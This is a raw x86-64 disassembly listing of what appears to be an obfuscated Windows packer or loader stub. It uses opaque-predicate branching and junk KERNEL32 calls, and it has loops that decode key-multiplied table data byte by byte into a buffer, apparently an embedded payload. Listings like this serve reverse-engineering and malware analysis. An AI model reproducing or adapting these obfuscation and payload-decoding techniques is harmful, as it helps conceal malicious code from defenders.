mov eax, dword [rbp + 0x40]
xor ecx, 0x128e
cmp eax, ecx
jg 0x14001ac52
add dword [rbp - 0x14], 0xebd
mov eax, dword [0x140032018]
cmp dword [0x140032088], eax
jb 0x14001ac52
mov eax, dword [0x14003210c]
add eax, 0xd899b554
mov dword [0x140032074], eax
add dword [rbp + 0x40], 0x38f
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x10]
add ecx, 0xfffffc18
cmp eax, ecx
jge 0x14001add3
mov eax, dword [rbp - 0x1c]
mov eax, dword [rbp - 0xc]
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffffc18
cmp eax, ecx
jl 0x14001add3
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
add ecx, 0xffffff51
cmp eax, ecx
je 0x14001add3
mov rdx, qword [section..data]
lea rax, [0x14003b300]
mov r10, r14
cmp dword [rdx + 0xf8], 0x12201
cmovae rax, qword [0x1400320d8]
mov qword [0x1400320d8], rax
mov r9d, dword [r10 + rax]
add r10, 4
mov eax, dword [rdx + 0xe4]
sub eax, dword [rdx + 0x68]
mov ecx, dword [0x140032158]
imul r9d, dword [0x140032074]
add ecx, eax
mov dword [0x140032158], ecx
mov eax, dword [rdx + 0x18]
xor eax, ecx
xor eax, 0xfffe73a2
mov dword [rdx + 0x18], eax
mov r8d, r9d
movsxd rdx, dword [0x140032098]
mov rax, qword [section..data]
mov dword [0x1400320f4], r14d
shr r8d, 0x10
mov rcx, qword [rax + 0xd8]
mov byte [rdx + rcx], r8b
mov edx, r9d
mov eax, dword [0x140032098]
add eax, r15d
shr edx, 8
mov dword [0x140032098], eax
movsxd rcx, eax
mov rax, qword [0x1400320e8]
mov byte [rcx + rax], dl
mov r8d, dword [0x140032098]
mov eax, dword [0x140032148]
add r8d, r15d
mov edx, dword [0x140032084]
add eax, 0xfffffffe
add edx, eax
mov dword [0x140032098], r8d
mov eax, dword [0x140032018]
imul eax, edx
movsxd rcx, r8d
mov dword [0x140032018], eax
mov rax, qword [0x1400320e8]
mov byte [rcx + rax], r9b
add dword [0x140032098], r15d
mov rcx, qword [section..data]
mov eax, dword [rcx + 0x60]
xor eax, dword [0x14003204c]
sub eax, 0x10add7
add dword [rcx + 0x50], eax
mov eax, dword [0x140032128]
mov rdx, qword [section..data]
add eax, 0xfffffffb
mov ecx, dword [rdx + 0xf8]
add ecx, eax
mov dword [0x140032128], ecx
cmp r10, 0xfd00
jge 0x14001add3
mov rax, qword [0x1400320d8]
jmp 0x14001acc5
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffffb2d
cmp eax, ecx
jle 0x14001adf5
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x1c]
xor ecx, ebx
cmp eax, ecx
jl 0x14001adf5
mov eax, dword [rbp - 0xc]
mov eax, dword [rbp - 0x20]
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x18]
cmp ecx, eax
jge 0x14001ae1f
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x20]
add ecx, 0x1120
cmp eax, ecx
jg 0x14001ae1f
add dword [rbp - 0x20], 0x1c7
xor dword [rbp - 0x18], esi
mov eax, dword [rbp + 0x40]
mov dword [rbp + 0x40], eax
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x20]
add ecx, 0x377
cmp eax, ecx
je 0x14001b32b
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x10]
add ecx, 0xfffff635
cmp eax, ecx
jge 0x14001b32b
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 8]
xor ecx, 0x143f
cmp eax, ecx
jge 0x14001b32b
mov rdx, qword [section..data]
mov ecx, dword [rdx + 0xe4]
add ecx, dword [rdx + 8]
xor ecx, 0x1a02bd
cmp dword [0x14003215c], 0x138ef
mov dword [0x140032074], ecx
jb 0x14001ae99
mov eax, dword [0x140032034]
sub eax, dword [rdx + 0x18]
add eax, 0x3d096535
add eax, ecx
mov dword [0x140032074], eax
mov eax, dword [rdx + 0x74]
lea rcx, [0x140035480]
cmp dword [0x1400320cc], eax
cmovb rcx, qword [0x1400320d8]
mov qword [0x1400320d8], rcx
add dword [rbp - 0x20], 0xfffff070
jmp 0x14001b32b
mov ecx, dword [0x140032028]
mov eax, dword [rbp + 0x40]
and ecx, edi
cmp eax, ecx
jne 0x14001b06e
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x20]
imul ecx, eax
mov eax, dword [rbp + 0x40]
cmp eax, ecx
jl 0x14001b00c
mov ecx, dword [rbp - 0x20]
mov rax, qword [section..data]
add ecx, r13d
cmp dword [rax + 0x20], ecx
ja 0x14001afce
mov eax, dword [rbp - 0x10]
mov ecx, dword [0x14003210c]
sub ecx, dword [0x14003214c]
add eax, ecx
cmp dword [0x140032064], eax
jne 0x14001afab
mov eax, dword [rbp - 0x18]
sub eax, ebx
xor eax, edx
cmp dword [0x1400320c0], eax
jb 0x14001af8e
mov ebx, dword [rbp + 0x40]
jmp 0x14001af7d
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x10]
or ecx, eax
mov rax, qword [section..data]
xor dword [rax + 0xe0], ecx
mov rax, qword [section..data]
mov ecx, dword [rbp - 0x10]
imul ecx, dword [rax + 0xf4]
mov eax, dword [rbp - 8]
imul ecx, eax
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [rbp - 8]
mov rcx, qword [section..data]
and eax, dword [rcx + 0x168]
or dword [0x140032100], eax
add ebx, 3
mov eax, dword [rbp - 0x10]
sub eax, 0xa32
cmp ebx, eax
je 0x14001af32
jmp 0x14001b32b
mov eax, dword [rbp - 8]
mov ecx, dword [0x14003209c]
xor eax, dword [0x140032070]
imul ecx, eax
mov dword [0x14003209c], ecx
jmp 0x14001b32b
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0xc]
imul ecx, eax
mov eax, dword [rbp - 0x20]
sub eax, r10d
movsxd rdx, eax
or ecx, dword [0x14003207c]
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
jmp 0x14001b32b
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0xc]
imul ecx, eax
mov eax, dword [rbp - 0x20]
or eax, ecx
cmp dword [0x14003205c], eax
jb 0x14001b32b
mov eax, dword [rbp - 0x14]
mov ecx, dword [0x140032100]
sub ecx, eax
mov eax, dword [rbp + 0x40]
xor ecx, r8d
cmp eax, ecx
jne 0x14001b32b
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14001b32b
mov ebx, dword [rbp + 0x40]
jmp 0x14001b057
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp + 0x40]
add ecx, 0xfffff7ce
cmp eax, ecx
je 0x14001b054
mov rax, qword [section..data]
mov ecx, dword [rax + 0x74]
and ecx, dword [0x140032138]
cmp dword [0x1400320d0], ecx
jb 0x14001b054
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
mov edx, dword [0x140032040]
sub ecx, dword [0x14003210c]
and rdx, rax
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
add ebx, 4
mov eax, dword [rbp - 0x14]
add eax, dword [0x140032084]
or eax, 0x1945
cmp ebx, eax
ja 0x14001b011
jmp 0x14001b32b
mov eax, dword [rbp - 0x18]
mov ecx, dword [0x1400320e0]
xor ecx, dword [0x140032140]
or eax, ecx
cmp dword [0x140032064], eax
jbe 0x14001b32b
mov ecx, dword [0x14003208c]
mov eax, dword [rbp + 0x40]
or ecx, edx
cmp eax, ecx
jae 0x14001b32b
mov ecx, dword [0x140032114]
imul ecx, dword [0x14003204c]
mov eax, dword [rbp + 0x40]
or eax, ecx
sub dword [rbp + 0x40], eax
jmp 0x14001b32b
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x14]
add ecx, eax
mov ebx, dword [0x140032084]
cmp ebx, ecx
jl 0x14001b32b
mov r12d, 0xa32
mov ecx, dword [0x140032084]
add ecx, 0xfffff7ce
add ecx, dword [0x1400320f4]
cmp dword [0x140032088], ecx
jae 0x14001b30f
mov eax, dword [0x140032064]
imul eax, dword [0x140032110]
and eax, r12d
mov dword [0x140032018], eax
mov eax, dword [rbp - 0x10]
mov ecx, dword [0x140032028]
sub ecx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp - 0x10]
mov edx, 0x3416
mov rcx, qword [section..data]
mov r9d, 0x1b7c
mov r8d, 0x3517
mov qword [rsp + 0x20], 0x24cd
and eax, dword [rcx + 0x68]
lea ecx, [rax + 0x13a4]
mov rax, qword [section..data]
xor dword [rax + 0x12c], ecx
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x18]
xor ecx, eax
or ecx, dword [0x140032094]
sub dword [rbp - 0x1c], ecx
mov ecx, 0x21b3
imul eax, dword [0x14003209c], 0xfffff3a4
and eax, 0x1896
or dword [0x14003204c], eax
call fcn.140019070
mov edx, dword [0x1400320b0]
mov r9d, 0xb6a
mov r10d, dword [0x140032040]
xor rdx, 0x1405
mov ecx, dword [0x140032134]
or rdx, r9
add ecx, dword [0x14003215c]
or r10d, 0x1952
mov word [0x14004b7bc], ax
mov eax, dword [0x140032158]
imul eax, dword [0x140032084]
add dword [0x140032064], eax
mov rax, qword [section..data]
mov r8d, dword [rax + 0x1c]
mov eax, dword [rbp - 0x14]
sub r8d, 0x1ab7
sub eax, dword [0x140032124]
xor r8d, r9d
mov r9d, dword [0x14003204c]
sub r9d, dword [0x140032108]
imul r9d, dword [0x14003215c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r10d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
movsxd rcx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
xor rcx, rdi
add eax, 0x19f2
movsxd rdx, eax
movsxd rax, dword [rbp - 0x1c]
movsxd r8, dword [rbp - 0x20]
xor r8, rax
mov rax, qword [section..data]
mov r9d, dword [rax + 0xe4]
mov eax, dword [rbp - 0x18]
and rax, r9
mov r9d, dword [rbp + 0x40]
or r9, rax
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov eax, dword [rbp - 0xc]
mov ecx, dword [rbp + 0x40]
add eax, 0x1952
imul ecx, eax
sub dword [0x140032078], ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [rbp - 0x10]
mov ecx, dword [0x140032034]
and eax, r13d
imul ecx, eax
mov dword [0x140032034], ecx
mov ecx, dword [0x1400320b8]
sub ecx, dword [0x140032148]
mov eax, dword [rbp - 0x14]
sub ecx, 0xb6a
mov r8d, dword [0x1400320c0]
sub r8d, eax
mov rax, qword [section..data]
mov edx, dword [rax + 0xf0]
mov eax, dword [rbp - 0x10]
imul edx, r8d
xor eax, 0x1095
mov r8d, dword [rbp - 0x14]
imul r8d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
or eax, ecx
add eax, 0xffffe8d2
add dword [rbp - 0x18], eax
imul eax, dword [0x140032104], 0x19f2
mov ecx, dword [0x140032084]
or rcx, 0xb7c
mov dword [0x140032034], eax
mov eax, dword [rbp - 0x10]
imul eax, dword [0x14003204c]
imul edx, eax, 0xa32
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x14001b318
mov eax, dword [rbp - 0x1c]
xor eax, r12d
or dword [rbp - 0x10], eax
mov ecx, dword [rbp - 0x14]
add ebx, r15d
mov eax, dword [rbp - 0x14]
add ecx, eax
cmp ebx, ecx
jge 0x14001b0d4
mov ecx, dword [rbp - 8]
mov r13d, 0x10a4
mov eax, dword [rbp - 0x20]
add ecx, 0x991
mov r12d, 0x9d9
cmp eax, ecx
jg 0x14001bda6
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x20]
add ecx, 0xd4b
cmp eax, ecx
jg 0x14001b929
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 8]
add ecx, 0xbc
cmp eax, ecx
jg 0x14001b740
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp + 0x40]
add ecx, 0xc31
cmp eax, ecx
je 0x14001b612
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
xor ecx, r13d
cmp eax, ecx
jg 0x14001b553
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x10]
add ecx, 0xfffffa1d
cmp eax, ecx
jg 0x14001b553
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x10]
add ecx, 0x74d
cmp eax, ecx
je 0x14001b4e6
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0xc]
cmp ecx, eax
je 0x14001b4e6
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x1c]
add ecx, 0x96d
cmp eax, ecx
jg 0x14001b4e6
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x10]
xor ecx, 0x2c4
cmp eax, ecx
jg 0x14001b4e6
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp + 0x40]
xor ecx, 0x133e
cmp eax, ecx
je 0x14001b4e6
mov rdx, qword [section..data]
mov r9, r14
mov ecx, dword [rdx + 0x16c]
mov eax, dword [0x140032140]
add eax, 0xfffffffc
imul ecx, eax
mov dword [rdx + 0x16c], ecx
mov rax, qword [0x1400320d8]
movsxd rcx, dword [0x140032098]
mov edx, dword [r9 + rax]
add r9, 4
imul edx, dword [0x140032074]
mov rax, qword [0x1400320e8]
mov byte [rcx + rax], dl
add dword [0x140032098], r15d
mov r8, qword [section..data]
mov eax, dword [0x140032088]
mov ecx, dword [0x140032018]
add eax, 0xff9fa1fc
or dword [0x140032100], eax
xor ecx, dword [r8 + 0x24]
mov eax, dword [0x140032118]
add eax, 0x1ec942
add ecx, eax
mov eax, 0x15493e
sub eax, dword [0x140032018]
mov dword [0x140032118], ecx
sub eax, dword [r8 + 0x24]
add dword [r8 + 0x148], eax
mov rdx, qword [section..data]
mov eax, dword [rdx + 0x28]
sub eax, 0x2d10bc
xor dword [0x140032100], eax
mov eax, dword [0x140032064]
dec eax
xor dword [0x140032158], eax
mov eax, 0x1a09ec
sub eax, dword [0x140032018]
add dword [0x140032078], eax
cmp r9, 0x5ca0
jl 0x14001b414
mov eax, dword [rbp - 8]
mov eax, dword [rbp - 0xc]
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x10]
xor ecx, 0x418
cmp eax, ecx
je 0x14001b553
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x10]
xor ecx, 0x14e
cmp eax, ecx
je 0x14001b553
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x20]
xor ecx, esi
cmp eax, ecx
jg 0x14001b553
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0xc]
add ecx, 0xd08
cmp eax, ecx
jge 0x14001b553
cmp dword [0x14003202c], 0x17ebd
jbe 0x14001b545
mov eax, dword [0x140032128]
add eax, 0xe6b
mov dword [0x140032074], eax
add dword [rbp - 0x18], 0xb84
xor dword [rbp + 0x40], 0x1aef
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x10]
xor ecx, 0x1e72
cmp eax, ecx
jge 0x14001b5b5
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x10]
add ecx, 0xfffffebc
cmp eax, ecx
je 0x14001b929
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x14]
add ecx, 0xfffff18a
cmp eax, ecx
jle 0x14001b929
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x20]
xor ecx, 0x1c44
cmp eax, ecx
jle 0x14001b929
mov eax, 0x1513a6
sub eax, dword [0x140032060]
add dword [0x140032074], eax
jmp 0x14001b929
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0xc]
imul ecx, eax
mov eax, dword [rbp + 0x40]
xor ecx, 0x172e
cmp eax, ecx
jl 0x14001b929
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
or ecx, eax
and ecx, dword [0x1400320f4]
mov eax, dword [rbp + 0x40]
cmp eax, ecx
jb 0x14001b929
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp + 0x40]
add ecx, 0xffffe3f3
cmp eax, ecx
jge 0x14001b929
mov eax, dword [rbp - 0x10]
sub eax, 0xdc1
xor eax, dword [0x140032104]
mov dword [rbp - 0x14], eax
jmp 0x14001b929
mov eax, dword [rbp - 0x14]
or eax, dword [0x1400320c8]
mov ecx, dword [rbp - 0x20]
or ecx, eax
mov eax, dword [rbp + 0x40]
cmp eax, ecx
jb 0x14001b929
mov eax, dword [rbp - 0x18]
mov ecx, dword [0x140032078]
sub ecx, eax
mov eax, dword [rbp - 8]
imul eax, ecx
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
imul eax, dword [0x14003217c]
mov dword [0x14003214c], eax
mov eax, dword [rbp - 0x1c]
or eax, dword [0x14003213c]
and eax, dword [0x1400320f0]
or dword [0x140032134], eax
movsxd rax, dword [rbp - 0xc]
movsxd rcx, dword [rbp - 0x18]
or rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [rbp - 8]
mov rax, qword [section..data]
or ecx, dword [rax + 0x54]
mov eax, dword [rbp - 0x10]
add eax, ecx
add eax, dword [0x14003217c]
mov dword [rbp - 0x10], eax
mov ecx, dword [rbp + 0x40]
mov edx, dword [rbp - 0x20]
mov eax, dword [0x140032030]
add ecx, dword [0x140032070]
or eax, 0xf05
add edx, eax
mov rax, qword [section..data]
imul r9d, dword [rax + 0x3c], 0x1ab7
mov r8d, dword [rax + 0x48]
mov eax, dword [0x140032094]
add r8d, 0x1896
and r9, rax
mov eax, dword [rbp - 0x10]
mov ebx, dword [rbp - 0x10]
imul eax, dword [0x140032088]
mov r11d, dword [rbp - 0x10]
and ebx, eax
mov eax, dword [rbp - 0x1c]
mov r10d, dword [rbp - 8]
and r11d, eax
mov eax, dword [rbp - 0xc]
imul r10d, dword [0x1400320d0]
imul eax, r10d
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r11d
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rax, qword [section..data]
mov ecx, dword [0x140032084]
mov r8d, dword [rbp - 0x18]
or ecx, 0x13a4
mov edx, dword [rax + 8]
mov eax, dword [0x140032030]
sub edx, dword [0x140032018]
and r8, rax
call qword [sym.imp.KERNEL32.dll_OpenFileMappingA]
jmp 0x14001b929
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x18]
and ecx, eax
mov eax, dword [rbp + 0x40]
and ecx, r12d
cmp eax, ecx
jl 0x14001b929
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp + 0x40]
or ecx, r12d
sub ecx, dword [0x14003203c]
cmp eax, ecx
jae 0x14001b8fe
mov eax, dword [rbp - 0x10]
sub eax, 0x1095
cmp dword [0x1400320d0], eax
ja 0x14001b8d3
mov ecx, dword [0x140032084]
add ecx, dword [0x140032120]
mov eax, dword [rbp + 0x40]
imul edx, ecx, 0x1ab7
cmp eax, edx
je 0x14001b929
movsxd rcx, dword [rbp - 0x10]
xor rcx, 0x1896
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [section..data]
mov ecx, dword [0x140032144]
sub ecx, dword [rax + 0x84]
mov eax, dword [rbp - 0x1c]
add dword [0x140032028], ecx
mov ecx, dword [0x1400320b0]
sub ecx, eax
mov eax, dword [rbp - 0xc]
xor eax, ecx
sub dword [rbp - 8], eax
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 8]
add ecx, eax
xor dword [rbp - 0x1c], ecx
mov eax, dword [rbp - 0xc]
mov rcx, qword [section..data]
mov edx, dword [rcx + 0x148]
sub edx, eax
mov eax, dword [rbp - 0x1c]
or eax, edx
or dword [rbp + 0x40], eax
mov ecx, dword [rbp - 0x14]
mov eax, dword [0x1400320d0]
add eax, 0x1ab7
add ecx, eax
or dword [rbp - 0x20], ecx
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x18]
and ecx, eax
xor dword [rbp - 0x1c], ecx
mov ecx, dword [rbp - 0x18]
mov esi, dword [rbp - 0x18]
mov edx, dword [rbp - 0x10]
sub ecx, dword [0x140032018]
add edx, 0xa32
mov r9d, dword [0x140032148]
or rsi, rcx
mov ecx, dword [rbp - 0x1c]
and edx, 0x1b0c
mov eax, dword [rbp - 0x18]
and ecx, eax
mov edi, dword [rbp - 0x18]
mov r10d, dword [rbp - 0x20]
or edi, ecx
mov eax, dword [rbp - 0x18]
mov rcx, rsi
imul ebx, dword [0x140032018], 0x832
add eax, r10d
mov r11d, dword [0x140032114]
mov r8d, dword [0x140032100]
and r11d, 0xb7c
imul r9d, dword [0x14003210c]
xor r8d, 0xa32
add r8d, dword [0x1400320c4]
cdqe
sub ebx, 0x19f2
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r11d
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, dword [0x140032134]
mov eax, dword [0x140032038]
or eax, dword [0x140032158]
sub ecx, eax
mov eax, dword [rbp - 0x18]
sub ecx, eax
mov dword [0x140032134], ecx
jmp 0x14001b929
mov edx, dword [0x140032134]
jmp 0x14001b8ef
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x18]
xor ecx, eax
or ecx, 0x172e
sub dword [rbp - 0xc], ecx
add edx, 3
mov eax, dword [rbp - 0x14]
add eax, dword [0x140032148]
cmp edx, eax
je 0x14001b8db
jmp 0x14001b929
mov rax, qword [section..data]
mov ecx, dword [rax + 0x70]
jmp 0x14001b91c
mov eax, dword [rbp - 0x18]
xor eax, dword [0x140032018]
add dword [0x14003209c], eax
add ecx, r15d
mov eax, dword [rbp - 0xc]
xor eax, dword [0x140032038]
cmp ecx, eax
jbe 0x14001b90a
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x18]
add ecx, 0xfffffb2d
cmp eax, ecx
je 0x14001bc8c
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 8]
add ecx, 0x2c8
cmp eax, ecx
jge 0x14001ba97
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x18]
cmp ecx, eax
jg 0x14001b9c6
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp + 0x40]
cmp eax, ecx
jge 0x14001b9c6
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffff237
cmp eax, ecx
je 0x14001b9c6
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffff68e
cmp eax, ecx
je 0x14001b9c6
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x20]
xor ecx, r13d
cmp eax, ecx
je 0x14001b9c6
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0xc]
add ecx, 0x768
cmp eax, ecx
jge 0x14001b9c6
mov ecx, dword [rbp - 8]
lea rdx, [0x1400337d0]
mov eax, dword [rbp - 0x1c]
add ecx, 0xa4d
cmp eax, ecx
cmove rdx, qword [0x1400320d8]
mov qword [0x1400320d8], rdx
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp + 0x40]
xor ecx, 0x11c0
cmp eax, ecx
jle 0x14001ba97
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffff967
cmp eax, ecx
je 0x14001ba5b
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x20]
add ecx, 0xbc
cmp eax, ecx
jg 0x14001ba97
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
add ecx, 0x2c4
cmp eax, ecx
jge 0x14001ba97
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 8]
add ecx, 0xfffff178
cmp eax, ecx
jle 0x14001ba97
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x18]
add ecx, 0xfffffe98
cmp eax, ecx
je 0x14001ba97
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x18]
add ecx, 0xfffff9b2
cmp eax, ecx
jle 0x14001ba97
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp + 0x40]
xor ecx, 0x479
cmp eax, ecx
je 0x14001ba97
xor dword [rbp - 0xc], 0x1298
jmp 0x14001ba97
mov rax, qword [section..data]
mov ecx, dword [rax + 0xf0]
add ecx, r12d
cmp dword [0x140032064], ecx
jb 0x14001ba97
mov ecx, dword [rbp + 0x40]
mov edx, dword [rbp - 0x10]
add ecx, 0xffffe76a
mov eax, dword [rbp + 0x40]
add edx, ecx
cmp eax, edx
jne 0x14001ba97
mov eax, dword [rbp + 0x40]
imul ecx, eax, 0x19f2
xor dword [0x1400320b4], ecx
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x18]
add ecx, 0x15c
cmp eax, ecx
jge 0x14001bda6
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp + 0x40]
xor ecx, 0x913
cmp eax, ecx
je 0x14001bda6
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x1c]
xor ecx, 0x479
cmp eax, ecx
jl 0x14001bc4f
mov r10, r14
mov eax, dword [0x14003215c]
mov ecx, dword [0x14003204c]
add eax, 0xfff169b6
mov rdx, qword [section..data]
add ecx, eax
add dword [rdx + 0x28], ecx
mov rax, qword [0x1400320d8]
mov rcx, qword [section..data]
mov r9d, dword [r10 + rax]
add r10, 4
mov eax, dword [0x14003204c]
add eax, 0xffef5229
xor dword [rcx + 0x3c], eax
imul r9d, dword [0x140032074]
mov rdx, qword [section..data]
mov eax, dword [0x14003215c]
sub eax, dword [0x140032108]
add eax, 0x21792
or dword [0x140032148], eax
mov ecx, dword [rdx + 0x24]
mov eax, dword [0x14003203c]
add eax, 0x4c0ae
add ecx, eax
mov eax, dword [0x14003209c]
add dword [0x1400320e0], eax
mov eax, dword [0x140032078]
mov dword [0x14003203c], ecx
add eax, 0xffeaddd3
mov ecx, dword [0x140032060]
add ecx, eax
add dword [rdx + 0x118], ecx
mov edx, r9d
movsxd rcx, dword [0x140032098]
mov rax, qword [0x1400320e8]
shr edx, 0x18
mov byte [rcx + rax], dl
mov edx, r9d
mov r8d, dword [0x140032098]
mov eax, dword [0x140032108]
add r8d, r15d
mov ecx, dword [0x140032158]
add eax, 0x18c5e
add ecx, eax
mov dword [0x140032098], r8d
mov rax, qword [0x1400320e8]
mov dword [0x140032108], ecx
shr edx, 0x10
movsxd rcx, r8d
mov byte [rcx + rax], dl
mov edx, r9d
mov eax, dword [0x140032098]
add eax, r15d
shr edx, 8
mov dword [0x140032098], eax
movsxd rcx, eax
mov rax, qword [0x1400320e8]
mov byte [rcx + rax], dl
add dword [0x140032098], r15d
mov ecx, dword [0x140032148]
mov rdx, qword [section..data]
mov eax, dword [rdx + 0x2c]
add eax, r15d
imul ecx, eax
mov eax, 0x605e09
mov dword [0x140032148], ecx
sub eax, dword [rdx + 0x78]
sub eax, dword [0x140032140]
add dword [rdx + 0x2c], eax
movsxd rcx, dword [0x140032098]
mov rax, qword [0x1400320e8]
mov byte [rcx + rax], r9b
add dword [0x140032098], r15d
cmp r10, 0x1bcc
jl 0x14001bad6
xor dword [rbp - 0x18], 0x9d0
mov eax, dword [0x140032100]
mov rcx, qword [section..data]
add eax, 0x28528633
mov dword [0x140032074], eax
mov eax, dword [0x140032108]
cmp dword [rcx + 0xa0], eax
ja 0x14001bda6
lea rax, [0x14001f0b0]
mov qword [0x1400320d8], rax
jmp 0x14001bda6
mov eax, dword [rbp - 0x14]
imul eax, dword [0x140032104]
imul eax, eax, 0x832
mov dword [rbp - 0x14], eax
mov eax, dword [rbp - 0x20]
or eax, dword [0x140032058]
xor eax, 0x1896
sub dword [rbp + 0x40], eax
mov eax, dword [rbp + 0x40]
mov edx, dword [rbp - 0x20]
mov ecx, dword [0x140032038]
xor ecx, dword [0x14003210c]
xor eax, ecx
mov dword [0x140032038], eax
mov eax, dword [rbp + 0x40]
mov rcx, qword [section..data]
xor eax, edx
add eax, 0x1095
add dword [rcx + 0x28], eax
movsxd rax, dword [rbp - 0x1c]
movsxd rcx, dword [rbp - 0x18]
mov edx, dword [rbp - 8]
and rcx, rax
and edx, dword [0x14003215c]
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov ecx, dword [0x140032034]
sub ecx, dword [0x140032088]
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov eax, dword [rbp - 0xc]
mov ecx, dword [rbp + 0x40]
and eax, 0x1945
mov edx, dword [rbp - 0x20]
mov r8d, dword [rbp - 8]
or dword [0x14003215c], eax
mov eax, dword [0x140032038]
mov r9d, dword [0x14003213c]
or rcx, rax
mov eax, dword [rbp - 0x18]
mov r10d, dword [rbp - 0x20]
imul r9d, dword [0x140032140]
sub r8d, dword [0x1400320c0]
or edx, dword [0x140032178]
or r8d, r12d
sub r9d, eax
mov eax, dword [rbp + 0x40]
xor r10d, eax
mov rax, qword [section..data]
sub r10d, dword [rax + 0x3c]
mov eax, r10d
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x20]
mov r8d, dword [0x140032140]
xor ecx, dword [0x14003202c]
xor r8d, 0x1ab7
imul edx, dword [0x140032038], 0x1ab7
sub ecx, eax
add r8d, dword [0x1400320c0]
call qword [sym.imp.KERNEL32.dll_OpenFileMappingA]
